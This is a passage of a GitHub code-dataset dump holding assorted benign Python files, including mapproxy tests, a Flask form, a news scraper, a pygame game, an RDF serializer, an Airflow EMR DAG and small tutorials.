os.path.exists(os.path.join(self.dest, \"tile_locks\"))\n        assert os.path.exists(os.path.join(self.dest, \"0\", \"0\", \"0.png\"))\n        assert os.path.exists(os.path.join(self.dest, \"1\", \"0\", \"0.png\"))\n        assert os.path.exists(os.path.join(self.dest, \"1\", \"0\", \"1.png\"))\n        assert os.path.exists(os.path.join(self.dest, \"1\", \"1\", \"0.png\"))\n        assert os.path.exists(os.path.join(self.dest, \"1\", \"1\", \"1.png\"))\n\n    def test_force(self):\n        self.args += [\n            \"--grid\",\n            \"GLOBAL_MERCATOR\",\n            \"--dest\",\n            self.dest,\n            \"--levels\",\n            \"0\",\n            \"--source\",\n            \"tms_cache\",\n        ]\n        with capture() as (out, err):\n            export_command(self.args)\n\n        with capture() as (out, err):\n            with pytest.raises(SystemExit):\n                export_command(self.args)\n\n        with capture() as (out, err):\n            export_command(self.args + [\"--force\"])\n\n    def test_invalid_grid_definition(self):\n        self.args += [\n            \"--grid\",\n            \"foo=1\",\n            \"--dest\",\n            self.dest,\n            \"--levels\",\n            \"0\",\n            \"--source\",\n            \"tms_cache\",\n        ]\n        with capture() as (out, err):\n            with pytest.raises(SystemExit):\n                export_command(self.args)\n            assert \"foo\" in err.getvalue()\n\n    def test_custom_grid(self):\n        self.args += [\n            \"--grid\",\n            \"base=GLOBAL_MERCATOR min_res=100000\",\n            \"--dest\",\n            self.dest,\n            \"--levels\",\n            \"1\",\n            \"--source\",\n            \"tms_cache\",\n            \"--fetch-missing-tiles\",\n        ]\n        with tile_server(\n            [\n                (0, 3, 2),\n                (1, 3, 2),\n                (2, 3, 2),\n                (3, 3, 2),\n                (0, 2, 2),\n                (1, 2, 2),\n                (2, 2, 2),\n                (3, 2, 2),\n                (0, 1, 2),\n                (1, 1, 2),\n                (2, 1, 2),\n                (3, 1, 2),\n                (0, 0, 2),\n                (1, 0, 2),\n                (2, 0, 2),\n                (3, 0, 2),\n            ]\n        ):\n            with capture() as (out, err):\n                export_command(self.args)\n\n        assert os.path.exists(os.path.join(self.dest, \"tile_locks\"))\n        assert os.path.exists(os.path.join(self.dest, \"1\", \"0\", \"0.png\"))\n        assert os.path.exists(os.path.join(self.dest, \"1\", \"3\", \"3.png\"))\n\n    def test_coverage(self):\n        self.args += [\n            \"--grid\",\n            \"GLOBAL_MERCATOR\",\n            \"--dest\",\n            self.dest,\n            \"--levels\",\n            \"0..2\",\n            \"--source\",\n            \"tms_cache\",\n            \"--fetch-missing-tiles\",\n            \"--coverage\",\n            \"10,10,20,20\",\n            \"--srs\",\n            \"EPSG:4326\",\n        ]\n        with tile_server([(0, 0, 0), (1, 1, 1), (2, 2, 2)]):\n            with capture() as (out, err):\n                export_command(self.args)\n\n        assert os.path.exists(os.path.join(self.dest, \"tile_locks\"))\n        assert os.path.exists(os.path.join(self.dest, \"0\", \"0\", \"0.png\"))\n        assert os.path.exists(os.path.join(self.dest, \"1\", \"1\", \"1.png\"))\n        assert os.path.exists(os.path.join(self.dest, \"2\", \"2\", \"2.png\"))\n","repo_name":"mapproxy/mapproxy","sub_path":"mapproxy/test/system/test_util_export.py","file_name":"test_util_export.py","file_ext":"py","file_size_in_byte":5902,"program_lang":"python","lang":"en","doc_type":"code","stars":489,"dataset":"github-code","pt":"60"}
+{"seq_id":"31240104036","text":"\nfrom flask import Flask\nfrom flask import request\n\n\n\napp = Flask(__name__)\n\n@app.route('/')\n\ndef hello():\n    alarm = request.args.get(\"alarm\")\n    if alarm:\n        print(alarm)\n    return '<form action=\"/\"method=\"get\"> \\\n        <input type=\"datetime-local\" name=\"alarm\"> \\\n        <input type=\"submit\"></form>'\n\nif __name__ == \"__main__\":\n    app.run()\n\n","repo_name":"Miti56/Smart-Alarm-Flask","sub_path":"Prueba Flask.py","file_name":"Prueba Flask.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39250063234","text":"import pytest\nimport saltext.credstash.sdbs.credstash as credstash_sdb\n\n\n@pytest.fixture\ndef configure_loader_modules():\n    module_globals = {\n        \"__salt__\": {\"this_does_not_exist.please_replace_it\": lambda: True},\n    }\n    return {\n        credstash_sdb: module_globals,\n    }\n\n\ndef test_replace_this_this_with_something_meaningful():\n    assert \"this_does_not_exist.please_replace_it\" in credstash_sdb.__salt__\n    assert credstash_sdb.__salt__[\"this_does_not_exist.please_replace_it\"]() is True\n","repo_name":"major0/salt-credstash-extension","sub_path":"tests/unit/sdbs/test_credstash.py","file_name":"test_credstash.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"26435355250","text":"#!/usr/bin/env python3\nimport newspaper\nimport os\nimport sys\nimport datetime\nimport traceback\n\nos.chdir(sys.path[0]) \npath = os.getcwd()\n\ndef symlink():\n    if not os.path.exists('/tmp/.newspaper_scraper'):\n        origem = os.path.join(path,'newspaper_scraper')\n        print(origem)\n        #os.symlink(origem,'/tmp/.newspaper_scraper/')\n\ndef log(log : str, logsFile):\n    now = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n    logsFile.write(f'{log}[{now}]\\n')\n\ndef create_dirs():\n    #create date dirs\n    today = datetime.date.today()\n    year = today.year\n    month = today.month\n    day = today.day\n\n    outFile = f'{path}/articles/{year}/{month}'\n    os.makedirs(outFile,exist_ok=True)\n    return outFile + f'/{day}.html'\n\ndef main():\n    symlink()\n\n    url = 'https://www.jn.pt'\n    #url = 'https://www.jornaldeangola.ao/ao/'\n    #url = 'https://novojornal.co.ao'\n\n    #create log file\n    logsFile = open(f'{path}/logs.txt','w')\n\n    log('Geting articles',logsFile)\n    \n    j = newspaper.build(url,memoized_articles=False)\n\n    nArticles = j.size()\n    log(f'{nArticles} articles',logsFile)\n\n    outFile = create_dirs()\n    output = open(outFile,'a')\n\n    output.write('<articles>\\n')\n    \n    na = 0\n    for article in j.articles:\n        log(f'Article {na} of {nArticles}',logsFile)\n        na+=1\n        try:\n            ar = newspaper.Article(article.url())\n            ar.download()\n            ar.parse()\n            output.write(\n                f'''\n                    <article>\n                        <title>\n                            {ar.title}\n                        </title>\n                        <url>\n                            {ar.url}\n                        </url>\n                        <autor>\n                            {ar.autor}\n                        </autor>\n                        <date>\n                            {ar.date}\n                        </date>\n                        <tags>\n                            {ar.tags}\n                        </tags>\n                        <text>\n                            {ar.text}\n                        </text>\n                    </article>\n                '''\n            )\n        except Exception:\n            print(traceback.format_exc)\n            log(traceback.format_exc,logsFile)\n\n    output.write('</articles>\\n')\n    output.close()\n\n    log('Finished writing',logsFile)\n\n    logsFile.close()\n\nif __name__ == \"__main__\":\n    main()","repo_name":"surumkata/spln-2223","sub_path":"TPC6/corpus.py","file_name":"corpus.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"14001908779","text":"import pygame, sys\nfrom pygame.locals import *\n\nimport brain\nfrom brain import *\n\nimport bird\nfrom bird import *\nimport pipe\nfrom pipe import *\n\n# Initializing\npygame.init()\n\n# Setting up FPS\nFPS = 60\nFramePerSec = pygame.time.Clock()\n\n# Creating colors\n# BLUE = (0, 0, 255)\nRED = (255, 0, 0)\n# GREEN = (0, 255, 0)\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\n\n# Other Variables for use in the program\nSCREEN_WIDTH = 400\nSCREEN_HEIGHT = 600\n\n# Create a black screen\nDISPLAYSURF = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\nDISPLAYSURF.fill(BLACK)\npygame.display.set_caption(\"Game\")\n\n# Create player\nplayer = bird.Bird(SCREEN_HEIGHT, DISPLAYSURF, WHITE)\n\n# Create pipe array\npipes = []\npipes.append(pipe.Pipe(SCREEN_HEIGHT, SCREEN_WIDTH, DISPLAYSURF, WHITE))\n\n# Pipe spawner\npipe_delay = 2000  # 2 seconds\nnew_pipe = pygame.USEREVENT + 1\npygame.time.set_timer(new_pipe, pipe_delay)\n\n# Create brain\nbrain = brain.Brain()\n\n# Sprite groups\n# all_sprites = pygame.sprit\n\n# Game Loop\nwhile True:\n    # Refresh background\n    DISPLAYSURF.fill(BLACK)\n\n    # Cycles through all occurring events\n    for event in pygame.event.get():\n        if event.type == QUIT:\n            pygame.quit()\n            sys.exit()\n        if event.type == pygame.KEYDOWN:\n            if event.key == pygame.K_SPACE:\n                player.up()\n        if event.type == new_pipe:\n            pipes.append(pipe.Pipe(SCREEN_HEIGHT, SCREEN_WIDTH, DISPLAYSURF, WHITE))\n            # all_sprites.add(pipes[-1])\n\n    player.update()\n    player.show()\n\n    for p in pipes:\n        p.update()\n        p.show()\n\n        # Check if pipe hits bird\n        if p.top_rect.colliderect(player.bird_rect) or p.bottom_rect.colliderect(player.bird_rect):\n            p.colour = RED\n        else:\n            p.colour = WHITE\n        if player.y == SCREEN_HEIGHT:\n            DISPLAYSURF.fill(RED)\n        if p.offscreen():\n            # pipes.pop(pipes.index(p))\n            pipes = [pipes[1]]\n\n    pygame.display.flip()\n    FramePerSec.tick(FPS)\n","repo_name":"jjacobgreen/projects","sub_path":"flappy/flappy_playable.py","file_name":"flappy_playable.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5849481958","text":"from rdflib.plugins.serializers.turtle import TurtleSerializer\nfrom rdflib.namespace import Namespace, FOAF, SKOS, RDF\nfrom rdflib import BNode\nimport logging\nimport re\n\nSD = Namespace('http://www.w3.org/ns/sparql-service-description#')\nISOTHES = Namespace('http://purl.org/iso25964/skos-thes#')\n\nlogger = logging.getLogger(__name__)\n\n\nclass OrderedTurtleSerializer(TurtleSerializer):\n\n    short_name = \"ots\"\n\n    def __init__(self, store):\n        super(OrderedTurtleSerializer, self).__init__(store)\n\n        # Class order:\n        self.class_order = []\n\n        # Sort key generators for specific classes :\n        self.sorters_by_class = {}\n\n        # Default sort key generators\n        self.sorters = [\n            ('^(.+)$', lambda x: str(x[0])),\n        ]\n\n    def getSorters(self, class_uri):\n        return self.sorters_by_class.get(class_uri, self.sorters)\n\n    def getSortKeyFunction(self, class_uri):\n        sorters = self.getSorters(class_uri)\n\n        # Order of instances:\n        def sortKeyFn(x):\n            # Check if the instances match any special pattern:\n            for pattern, func in sorters:\n                m1 = re.search(pattern, x)\n                if m1:\n                    return func(m1.groups())\n            logging.warning('%s did not match any sorters', x)\n\n        return sortKeyFn\n\n    def orderSubjects(self):\n        seen = {}\n        subjects = []\n\n        # Find classes not included in self.class_order and sort them alphabetically\n        other_classes = [x for x in set(self.store.objects(predicate=RDF.type)) if x not in self.class_order]\n        other_classes = sorted(other_classes)\n\n        # Loop over all classes\n        for class_uri in self.class_order + other_classes:\n\n            # Sort the members of each class\n            members = sorted(self.store.subjects(RDF.type, class_uri),\n                             key=self.getSortKeyFunction(class_uri))\n\n            for member in members:\n                subjects.append(member)\n                self._topLevels[member] = True\n                seen[member] = True\n\n        # Include anything not seen yet\n        recursable = [\n            (isinstance(subject, BNode),\n            self._references[subject], subject)\n            for subject in self._subjects\n            if subject not in seen\n        ]\n\n        recursable.sort()\n        subjects.extend([subject for (isbnode, refs, subject) in recursable])\n\n        return subjects\n","repo_name":"scriptotek/otsrdflib","sub_path":"otsrdflib/ots.py","file_name":"ots.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"43809174699","text":"#\n# Expert distribution for all datasets.\n#\nfrom airflow import DAG\nfrom airflow.utils.dates import days_ago\nfrom datetime import timedelta\nfrom ala import cluster_setup, ala_config, ala_helper\nfrom ala.ala_helper import step_bash_cmd, s3_cp, get_default_args\n\nDAG_ID = 'Expert_distribution'\n\nSPARK_STEPS = [\n    s3_cp(\"a. Copy IndexRecord to S3\", f\"s3://{ala_config.S3_BUCKET_AVRO}/pipelines-all-datasets/index-record\", \"hdfs:///pipelines-all-datasets/index-record\"),\n    s3_cp(\"b. Copy existing Outlier Distribution Cache\", f\"s3://{ala_config.S3_BUCKET_AVRO}/pipelines-outlier/\", \"hdfs:///pipelines-outlier/\", action_on_failure=\"CONTINUE\"),\n    step_bash_cmd(\"c. Outlier detection\", f\" la-pipelines outlier all --cluster\"),\n    step_bash_cmd(\"d. Delete AVRO output on S3\", f\" sudo -u hadoop aws s3 rm s3://{ala_config.S3_BUCKET_AVRO}/pipelines-outlier/all --recursive\"),\n    step_bash_cmd(\"e. Delete temp SCP directories created by s3-dist-cp\", f\" sudo -u hadoop hdfs dfs -rm -f /pipelines-outlier/pipelines-outlier_$folder$\"),\n    s3_cp(\"f. Copy Outliers results to S3\", \"hdfs:///pipelines-outlier\", f\"s3://{ala_config.S3_BUCKET_AVRO}/pipelines-outlier\")\n]\n\nwith DAG(\n    dag_id=DAG_ID,\n    description=\"Expert distribution\",\n    default_args=get_default_args(),\n    dagrun_timeout=timedelta(hours=4),\n    start_date=days_ago(1),\n    schedule_interval=None,\n    tags=['emr', 'all-datasets']\n) as dag:\n    cluster_setup.run_large_emr(dag, SPARK_STEPS, \"bootstrap-index-actions.sh\")\n","repo_name":"AtlasOfLivingAustralia/pipelines-airflow","sub_path":"dags/expert_distribution_dag.py","file_name":"expert_distribution_dag.py","file_ext":"py","file_size_in_byte":1484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18395881208","text":"#https://leetcode.com/problems/unique-paths/discuss/22953/Java-DP-solution-with-complexity-O(n*m)\nclass Solution:\n    def uniquePaths(self, m: int, n: int) -> int:\n        #unique paths using 2-D array\n        dp = [[0] * (n) for _ in range(m)]\n        for i in range(m):\n            dp[i][0] = 1\n        for j in range(n):\n            dp[0][j] = 1\n        for i in range(1, m):\n            for j in range(1, n):\n                dp[i][j] = dp[i][j-1] + dp[i-1][j]\n\n        return dp[m-1][n-1]\n    \n    def printdp(self, dp):\n        for i in (dp):\n            print(i)\n        \n\n\ns = Solution()\nres = s.uniquePaths(3,2)\nprint(res)\n        ","repo_name":"ArunAaryan/LeetCodePlaylist","sub_path":"LeetCodeMedium/UniquePaths.py","file_name":"UniquePaths.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"9689822798","text":"import sys\nimport csv\nimport json\nimport argparse\nimport pandas as pd\nimport numpy as np\n\nimport serial\nfrom os import path\nfrom io import StringIO\n\nfrom PyQt5.Qt import *\nfrom pyqtgraph import PlotWidget\nfrom PyQt5 import QtCore\nimport pyqtgraph as pq\n\nimport threading\nimport time\n\nDATA_COLUMNS_NAMES = [\"type\", \"mac\", \"rssi\", \"channel\", \"secondary channel\" ,\"sig_mode\", \"bandwith\", \"STBC\", \"Length(bytes)\"]\n\n\nclass csi_data_graphical_window(QWidget):\n    def __init__(self):\n        super().__init__()\n\n        self.resize(1280, 720)\n        self.plotWidget_ted = PlotWidget(self)\n        self.plotWidget_ted.setGeometry(QtCore.QRect(0, 0, 1280, 720))\n\n        self.plotWidget_ted.setYRange(-20, 100)\n        self.plotWidget_ted.addLegend()\n\n        \n        self.curve_list = []\n\n        self.timer = pq.QtCore.QTimer()\n        self.timer.timeout.connect(self.update_data)\n        self.timer.start(100)\n\n    def update_data(self):\n        return\n\ndef csi_data_read_parse(port: str, csv_writer):\n    ser = serial.Serial(port=port, baudrate=921600,\n                        bytesize=8, parity='N', stopbits=1)\n    if ser.isOpen():\n        print(\"open success\")\n    else:\n        print(\"open failed\")\n        return\n\n    while True:\n        strings = str(ser.readline())\n        if not strings:\n            break\n\n        strings = strings.lstrip('b\\'').rstrip('\\\\r\\\\n\\'')\n        index = strings.find('CSI_RIG')\n\n        if index == -1:\n            continue\n\n        csv_reader = csv.reader(StringIO(strings))\n        csi_data = next(csv_reader)\n\n        #print(csi_data)\n        #print(len(csi_data))\n\n        if csi_data[1] != \"a6:6f:82:3d:89:99\":\n            continue\n\n        if len(csi_data) != len(DATA_COLUMNS_NAMES):\n            print(\"element number is not equal\")\n            continue\n\n        print(csi_data)\n\n        csv_writer.writerow(csi_data)\n\n\n    ser.close()\n    return\n\n\nclass SubThread (QThread):\n    def __init__(self, serial_port, save_file_name):\n        super().__init__()\n        self.serial_port = serial_port\n\n        save_file_fd = open(save_file_name, 'w')\n        self.csv_writer = csv.writer(save_file_fd)\n        self.csv_writer.writerow(DATA_COLUMNS_NAMES)\n\n    def run(self):\n        csi_data_read_parse(self.serial_port, self.csv_writer)\n\n    def __del__(self):\n        self.wait()\n\n\nif __name__ == '__main__':\n    if sys.version_info < (3, 6):\n        print(\" Python version should >= 3.6\")\n        exit()\n\n    parser = argparse.ArgumentParser(\n        description=\"Read CSI data from serial port and display it graphically\")\n    parser.add_argument('-p', '--port', dest='port', action='store', required=True,\n                        help=\"Serial port number of csv_recv device\")\n    parser.add_argument('-s', '--store', dest='store_file', action='store', default='./csi_recv_rigor.csv',\n                        help=\"Save the data printed by the serial port to a file\")\n\n    args = parser.parse_args()\n    serial_port = args.port\n    file_name = args.store_file\n\n    app = QApplication(sys.argv)\n\n    subthread = SubThread(serial_port, file_name)\n    subthread.start()\n\n    window = csi_data_graphical_window()\n    window.show()\n\n    sys.exit(app.exec())\n","repo_name":"orkunispir/wifi-csi-sniffer","sub_path":"tools/csi_data_read.py","file_name":"csi_data_read.py","file_ext":"py","file_size_in_byte":3193,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71951843071","text":"import time\n\n# Relationship between speed, distance and time:\n# time = distance / speed\n\ndistance = input(\"What is the total amount of metres you would like to travel:\\n\")\nspeed = input(\"What is the estimated average speed? Give answer in metre/second:\\n\")\n\nt = float(distance) / float(speed)\nformatted_time = time.strftime(\"%H:%M:%S\", time.gmtime(t))\n\nprint(\n    f\"It will take approximately {formatted_time} (hh,mm,ss) to arive at your destination.\"\n)\n","repo_name":"Anton-Ca/Courses","sub_path":"Python/Pyth_intro/l03/t5.py","file_name":"t5.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5046406506","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n・尺取法\n・まあWAだけども。\n\"\"\"\n\nimport sys\nfrom collections import deque, Counter, defaultdict\nfrom math import sqrt, hypot, factorial, pi, sin, cos, radians\nfrom heapq import heappop, heappush, heapify, heappushpop\nfrom bisect import bisect_left, bisect_right\nfrom itertools import permutations, product, combinations, combinations_with_replacement\nfrom operator import itemgetter, mul\nfrom copy import deepcopy\nfrom functools import reduce, partial\n\ndef input(): return sys.stdin.readline().strip()\nsys.setrecursionlimit(10 ** 9)\nINF = float('inf')\nMOD = 10 ** 9 + 7\n\nS = input()\nN = len(S)\n\nl,r = 0,1\nmx = 0\n# 外ループで左を動かす\nwhile l < N:\n    # 内ループは条件を満たす限り右を動かす\n    while r < N and S[l] != S[r]:\n        r += 1\n    # 同じ文字までの間隔が最大の所を探す\n    if r < N:\n        mx = max(r - l - 1, mx)\n    if l == r:\n        # 左が右に追いついたら、右も左に合わせて+1する\n        r += 1\n    l += 1\n\nif mx == 0:\n    if N % 2 == 0:\n        print('Second')\n    else:\n        print('First')\nelse:\n    if mx % 2 == 0:\n        print('First')\n    else:\n        print('Second')\n","repo_name":"Coki628/kyopro_submissions","sub_path":"AtCoder/ABC048d.py","file_name":"ABC048d.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41582360579","text":"__author__ = \"soopercool101\"\r\n__version__ = \"1.0.0\"\r\n\r\nfrom BrawlCrate.API import *\r\nfrom BrawlLib.SSBB.ResourceNodes import *\r\nfrom BrawlCrate.NodeWrappers import PluginWrapper\r\nfrom System.Windows.Forms import ToolStripMenuItem\r\nimport struct\r\n\r\n# Wrapper for UVs\r\nclass UVWrapper(PluginWrapper):\r\n    # This function returns a new instance of the class.\r\n    # Necessary in order to properly call necessary functions\r\n    def GetInstance(self):\r\n        return UVWrapper()\r\n\r\ndef shiftUV_handler(sender, event_args):\r\n    # Gather the required inputs from the user\r\n    scaleX = BrawlAPI.UserFloatInput(\"X Scale multiplier to apply to the UVs (Applied first)\", \"X-Scale\", 1.0)\r\n    scaleY = BrawlAPI.UserFloatInput(\"Y Scale multiplier to apply to the UVs (Applied first)\", \"Y-Scale\", 1.0)\r\n    transX = BrawlAPI.UserFloatInput(\"X Translation offset to apply to the UVs (Applied second)\", \"X-Translation\", 0.0)\r\n    transY = BrawlAPI.UserFloatInput(\"Y Translation offset to apply to the UVs (Applied second)\", \"Y-Translation\", 0.0)\r\n    shiftUV(scaleX, scaleY, transX, transY)\r\n\r\ndef shiftUV(scaleX, scaleY, transX, transY):\r\n    i = 0\r\n    # Apply the modifiers to each UV point\r\n    for vec2 in BrawlAPI.SelectedNode.Points:\r\n        vec2.X = vec2.X * scaleX\r\n        vec2.X = vec2.X + transX\r\n        vec2.Y = vec2.Y * scaleY\r\n        vec2.Y = vec2.Y + transY\r\n        # Due to some quirk, necessary to set this manually to ensure saving works\r\n        BrawlAPI.SelectedNode.Points[i] = vec2\r\n        i += 1\r\n    # Due to some quirk, necessary to set this manually to ensure saving works\r\n    BrawlAPI.SelectedNode.Points = BrawlAPI.SelectedNode.Points\r\n    # Flag node as needing saving\r\n    BrawlAPI.SelectedNode.SignalPropertyChange()\r\n\r\n# Create an instance of our wrapper class and add it to the API wrapper cache\r\nwrapper = UVWrapper()\r\nBrawlAPI.AddWrapper[MDL0UVNode](wrapper)\r\n# Add a context menu item to our new wrapper\r\nBrawlAPI.AddContextMenuItem(UVWrapper, ToolStripMenuItem(\"Shift UVs\", None, shiftUV_handler))\r\n","repo_name":"soopercool101/BrawlCrateSamplePlugins","sub_path":"Loaders/Utility/Shift UVs.py","file_name":"Shift UVs.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"34102075826","text":"import os, json\nfrom langchain.llms import Databricks, OpenAI\nfrom dotenv import load_dotenv\nfrom langchain.prompts import ChatPromptTemplate\n\nclass RoleBasedAdvisor:\n    def __init__(self, language_model='openai', config_file_path=None):\n        self.template_string = \"\"\"{role_name} \\\nRespond to the user question that is delimited in triple backticks \\\nwith thoughtful and concise instructions that the user can easily implement in their \\\nday to day life.\nuser_question: ```{user_question}```\n\"\"\"\n        self.role_description = {}\n        self.role_description['doctor'] = \"\"\"You are a doctor (primary care physician) with 25 years of experience practicing in California. \\\nYou emphasize the importance of a healthy lifestyle that includes nutritious food and vigorous exercise.\"\"\"\n        self.role_description['father'] = \"\"\"You are the user's father and cares deeply about their well being. You emphasize the importance of \\\nworking hard and getting a good education.\"\"\"\n        self.role_description['business_partner'] = \"\"\"You are the user's business partner. You share a mutual interest in the success of your \\\ncompany. You emphasize actions that will maximize the long term viability and profitability of the company and achieving its mission.\"\"\"\n        self.role_description['career_coach'] = \"\"\"You are the user's manager at work. You see great potential in the user to progress in their \\\ncareer. You emphasize actions that maximize the user's chances for a promotion and continue their trajectory to become a senior executive.\"\"\"\n        self.user_question = \"I want to live a life that maximizes happiness and creates a positive impact on the world. What \\\nare the top 5 things I should do in the next week towards these goals?\"\n\n        self.language_model = language_model\n        if config_file_path is not None:\n            with open(config_file_path) as f:\n                self.config = json.load(f)\n        self.llm = self.get_llm(language_model)\n\n    def get_llm(self, language_model='openai'):\n        load_dotenv()\n        if 'DATABRICKS_RUNTIME_VERSION' in os.environ and language_model == 'openai':  # Running in Databricks\n            if 'OPENAI_API_KEY' not in os.environ:\n                os.environ['OPENAI_API_KEY'] = dbutils.secrets.get('vbalasu', 'openai-databricks')\n\n        if language_model == 'openai':\n            llm = OpenAI(temperature=0.0, max_tokens=500)\n            return llm\n        elif language_model == 'llamav2':\n            llm = Databricks(cluster_driver_port=self.config['port'], cluster_id=self.config['cluster_id'],\n                        model_kwargs={'temperature':0.0, 'max_new_tokens':500})\n            return llm\n        else:\n            print('Unknown language model')\n            return False\n        \n    def answer_as_role(self, user_question, role, verbose=False):\n        prompt_template = ChatPromptTemplate.from_template(self.template_string)\n        prompt = prompt_template.format_prompt(role_name=role, user_question=user_question)\n        question = prompt.messages[0].content\n        if verbose:\n            print('/*\\n', f'LANGUAGE MODEL: {self.language_model}\\n\\n', question, '*/\\n\\n')\n        return self.llm(question)","repo_name":"vbalasu/databricks-goodies","sub_path":"role-based-advisor/advisor.py","file_name":"advisor.py","file_ext":"py","file_size_in_byte":3201,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"2070378967","text":"# tuple fron iterobj\nL = [1, 2, 3]\niterator = iter(L)\nt = tuple(iterator)\nprint(t)\n\n# genexps and listcomps\n\"\"\"\nGenerator expressions are surrounded by parentheses (“()”)and list comprehensions are surrounded by square brackets (“[]”)\n\"\"\"\nxs = [4, 6, 7, 9, 10]\nxss = (x * 2 for x in xs)\nprint(xss) # xss is an iterobj\n\nxss_list = [x*2 for x in xs]\nprint(xss_list) # xss_list is a list\n\n# Generator functions and yields\n\ndef agen():\n    i = 10\n    yield [i, i, i]\n\na, b, c = agen()\n","repo_name":"nonomino/bad_python","sub_path":"noob/functional.py","file_name":"functional.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"45928289609","text":"import time\nimport numpy as np\n\nfrom rich.console import Console\nfrom rich import print\n\nimport cro_dt.VectorTree as vt\nfrom cro_dt.sup_configs import get_config, load_dataset\nconsole = Console()\n\nif __name__ == \"__main__\":\n    # X, y = load_dataset(\"breast_cancer\")\n    # X = np.array([[-3, -2], [-4, -2], [3, 3]])\n    # y = np.array([1, 1, 0])\n    W = np.array([[2, 3, -4], [5, -5, -4], [6, -2, 3]])\n    X = np.array([[-3, -2], [4, -2], [3, 3], [-3, 1], [-2, -2], [-4, -4]])\n    y = np.array([1, 1, 0, 1, 0, 0])\n    # W = np.array([[2, 3, -4], [5, -5, -4], [4, 0, 2], [2, 0, 1], [6, -2, 3], [1, 3, 2], [3, 2, 4]])\n    depth = int(np.log2(len(W) + 1))\n    n_classes = np.max(y) + 1\n\n    M = vt.create_mask_dx(depth)\n    X_ = np.vstack((np.ones(len(X)).T, X.T)).T\n    Y_ = np.tile(y, (len(W) + 1, 1))\n\n    start_time = time.time()\n    for _ in range(10000):\n        acc1, labels1 = vt.dt_matrix_fit(X, y, W, -M, X_, Y_ + vt.MAGIC_NUMBER)\n    end_time = time.time()\n\n    console.rule(\"[red]Original vector tree implementation[/red]\")\n    print(f\"Labels: {labels1}\")\n    print(f\"Accuracy: {acc1}\")\n    print(f\"Elapsed time: {'{:.3f}'.format(end_time - start_time)} seconds\")\n\n    start_time = time.time()\n    for _ in range(10000):\n        acc2, labels2 = vt.dt_matrix_fit_dx(X, y, W, depth, n_classes, X_, Y_, M)\n    end_time = time.time()\n\n    console.rule(\"[red]New vector tree implementation[/red]\")\n    print(f\"Labels: {labels2}\")\n    print(f\"Accuracy: {acc2}\")\n    print(f\"Elapsed time: {'{:.3f}'.format(end_time - start_time)} seconds\")\n\n    start_time = time.time()\n    for _ in range(10000):\n        acc2, labels2 = vt.dt_matrix_fit_dx2(X, y, W, depth, n_classes, X_, Y_, M)\n    end_time = time.time()\n\n    console.rule(\"[red]Vector tree implementation but using numpy methods instead of pure matrix stuff[/red]\")\n    print(f\"Labels: {labels2}\")\n    print(f\"Accuracy: {acc2}\")\n    print(f\"Elapsed time: {'{:.3f}'.format(end_time - start_time)} seconds\")\n    \n    # solution.update_leaves_by_dataset(X_train, y_train)\n    # y_pred = solution.predict_batch(X_train)\n    # accuracy = np.mean([(1 if y_pred[i] == y_train[i] else 0) for i in range(len(X_train))])\n    # return accuracy","repo_name":"vgarciasc/CRO-DT","sub_path":"cro_dt/time_test.py","file_name":"time_test.py","file_ext":"py","file_size_in_byte":2187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"20899542216","text":"import asyncio\n\n\nasync def count():\n    print(\"One\")\n    await asyncio.sleep(1)\n    print(\"Two\")\n\n\nasync def main():\n    await asyncio.gather(count(), count(), count())\n\n\nif __name__ == \"__main__\":\n    import time\n\n    s = time.perf_counter()\n    asyncio.run(main())\n    elapsed = time.perf_counter() - s\n    print(f\"{__file__} executed in {elapsed:0.2f} seconds.\")\n\n\n#local branch 2 development branch\n\n\n# trying out git rebase\n# second commit for trying out rebase","repo_name":"axecalibur-dev/AsycnIOPython","sub_path":"async.py","file_name":"async.py","file_ext":"py","file_size_in_byte":466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"24886324124","text":"# encoding:utf-8\n\n# -*- Python单例模式示例 -*-\n\nclass Singleton(object):\n    def __new__(cls):\n        if not hasattr(cls, 'instance'):\n            cls.instance = super(Singleton, cls).__new__(cls)\n        return cls.instance\n\nif __name__ == '__main__':\n    a = Singleton() \n    b = Singleton() \n    print(id(a))\n    print(id(b))\n","repo_name":"tanteng/learn-python","sub_path":"singleton.py","file_name":"singleton.py","file_ext":"py","file_size_in_byte":336,"program_lang":"python","lang":"en","doc_type":"code","stars":358,"dataset":"github-code","pt":"60"}
